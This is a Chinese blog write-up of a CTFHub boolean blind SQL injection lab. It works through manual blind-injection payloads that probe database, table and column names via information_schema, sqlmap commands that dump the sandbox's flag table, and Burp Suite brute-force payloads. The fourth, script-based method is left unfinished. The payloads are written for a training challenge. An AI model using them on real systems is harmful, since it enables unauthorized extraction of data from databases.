2025.1.15——四、布尔注入

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,得到本题为布尔注入

方法一:手工盲注(不推荐)

[step 1:判断具体形式](#step 1:判断具体形式)

[step 2:查询字段数](#step 2:查询字段数)

[step 3:通过回显判断数据库名的长度和每个字符](#step 3:通过回显判断数据库名的长度和每个字符)

1.判断长度

2.判断每个字符

[step 4:判断有几个表以及各个表名的长度和每个字符](#step 4:判断有几个表以及各个表名的长度和每个字符)

1.判断表的数量

​编辑

​编辑

2.判断长度

3.判断字符

​编辑

[step 5:判断列数以及各个列的长度和字符](#step 5:判断列数以及各个列的长度和字符)

1.判断列数

2.判断长度

3.判断字符

方法二:sqlmap爆数据库、表名、列名

[step 1:爆数据库名](#step 1:爆数据库名)

​编辑​编辑

[step 2:爆表](#step 2:爆表)

[step 3:爆列](#step 3:爆列)

方法三:burpsuit抓包,爆数据库、表名、列名

[step 1:判断数据库名的长度以及符号](#step 1:判断数据库名的长度以及符号)

1.判断长度

2.判断字符

​编辑

[step 2:判断表的数量以及长度、字符](#step 2:判断表的数量以及长度、字符)

[step 3:判断列数以及长度、字符](#step 3:判断列数以及长度、字符)

[step 4:爆破数据](#step 4:爆破数据)

1.爆破长度

2.爆破具体数据

方法四:脚本爆数据库、表名、列名


一、基本操作:整理已知信息,得到本题为布尔注入

有三个方法,手工盲注必须了解,但是很麻烦,得一个个尝试对错,所以利用工具更方便,例如:sqlmap、bp爆信息、脚本循环遍历

方法一:手工盲注(不推荐)

step 1:判断具体形式

键入:1 #

键入:1 and 1=2 #

键入:1' #

所以可以得到本题也为整数型注入

step 2:查询字段数

键入:1 order by 3 #

键入:1 order by 2 #

寻常方法,如:1 and 1=2 union select database(),database() #没有用,毕竟只会回显1或0

step 3:通过回显判断数据库名的长度和每个字符

length(str)函数:用于获取字符串长度的函数

substr()函数:用于从字符串中提取子字符串

1.判断长度

sql 复制代码
1 and length(database())=1 #
sql 复制代码
1 and length(database())=4 #

所以数据库名长度为4

2.判断每个字符

sql 复制代码
1 and substr(database(),1,1)='a' #
sql 复制代码
1 and substr(database(),1,1)='s' #
sql 复制代码
1 and substr(database(),2,1)='q' #
sql 复制代码
1 and substr(database(),3,1)='l' #
sql 复制代码
1 and substr(database(),4,1)='i' #

得到数据库名为sqli(按照前几题的经验),如果是陌生的题,建议用sqlmap或者burpsuit爆破

step 4:判断有几个表以及各个表名的长度和每个字符

1.判断表的数量

sql 复制代码
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1 #

sql 复制代码
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2 #

2.判断长度

第一个表名长度

sql 复制代码
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1))=4 #

第二个表名长度

sql 复制代码
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1))=4 #

3.判断字符

sql 复制代码
1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='n' #

step 5:判断列数以及各个列的长度和字符

1.判断列数

sql 复制代码
1 and (select count(column_name) from information_schema.columns where table_name='flag')=1 #

2.判断长度

sql 复制代码
1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=4 #

3.判断字符

sql 复制代码
1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),1,1)='i'

方法二:sqlmap爆数据库、表名、列名

step 1:爆数据库名

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 --current-db

得到数据库名为sqli

step 2:爆表

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

得到一共两个表,分别为flag和news

step 3:爆列

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

得到只有一列

step 4:爆具体数据

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch

得到flag

方法三:burpsuit抓包,爆数据库、表名、列名

这里要用到ASCII表

step 1:判断数据库名的长度以及符号

1.判断长度

在框内输入

sql 复制代码
1 and length(database())=1#

然后进行抓包、爆破

得到数据库名字符串的长度为4

2.判断字符

sql 复制代码
1 and ascii(substr(database(),1,1))=100#

第一个字符为s

后面字符修改为

sql 复制代码
1 and ascii(substr(database(),2,1))=100#

依次可以得到

第二个字符为q

第三个字符为l

第四个字符为i

所以数据库名为sqli

step 2:判断表的数量以及长度、字符

1.判断表数详见方法一

2.判断长度同样输入payload再抓包

payload:1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=x #

注:x为爆破点

3.判断字符同上

payload:1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#

注:100则为爆破点

得到表名为news、flag

step 3:判断列数以及长度、字符

1.判断列数

payload:1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=1#

2.判断长度同样输入payload再抓包

payload:1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=x #

注:x为爆破点

3.判断字符

payload:1 and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'flag' order by ordinal_position limit 0,1), 1, 1)) = x #

注:x为爆破点;ordinal bu_position:按照列的顺序位置排序

step 4:爆破数据

1.爆破长度

payload:1 and (select length(flag) from sqli.flag limit 1) = 10 #

注:10为爆破点

2.爆破具体数据

payload:1 and ascii(substr((select flag from sqli.flag limit 0,1), 1, 1)) = 99 #

注:99为爆破点

一个一个爆破太久了,所以还是sqlmap好用

方法四:脚本爆数据库、表名、列名

引用脚本:CTFhub的布尔盲注_ctfhub布尔盲注-CSDN博客

python还不会用,先放这

相关推荐
_Kayo_2 小时前
node.js 学习笔记3 HTTP
笔记·学习
wyiyiyi5 小时前
【Web后端】Django、flask及其场景——以构建系统原型为例
前端·数据库·后端·python·django·flask
CCCC13101635 小时前
嵌入式学习(day 28)线程
jvm·学习
天宇_任5 小时前
Mysql数据库迁移到GaussDB注意事项
数据库·mysql·gaussdb
星星火柴9366 小时前
关于“双指针法“的总结
数据结构·c++·笔记·学习·算法
小狗爱吃黄桃罐头6 小时前
正点原子【第四期】Linux之驱动开发篇学习笔记-1.1 Linux驱动开发与裸机开发的区别
linux·驱动开发·学习
艾莉丝努力练剑7 小时前
【洛谷刷题】用C语言和C++做一些入门题,练习洛谷IDE模式:分支机构(一)
c语言·开发语言·数据结构·c++·学习·算法
武昌库里写JAVA8 小时前
JAVA面试汇总(四)JVM(一)
java·vue.js·spring boot·sql·学习
xiep14383335108 小时前
Ubuntu 安装带证书的 etcd 集群
数据库·etcd
杜子不疼.8 小时前
《Python学习之字典(一):基础操作与核心用法》
开发语言·python·学习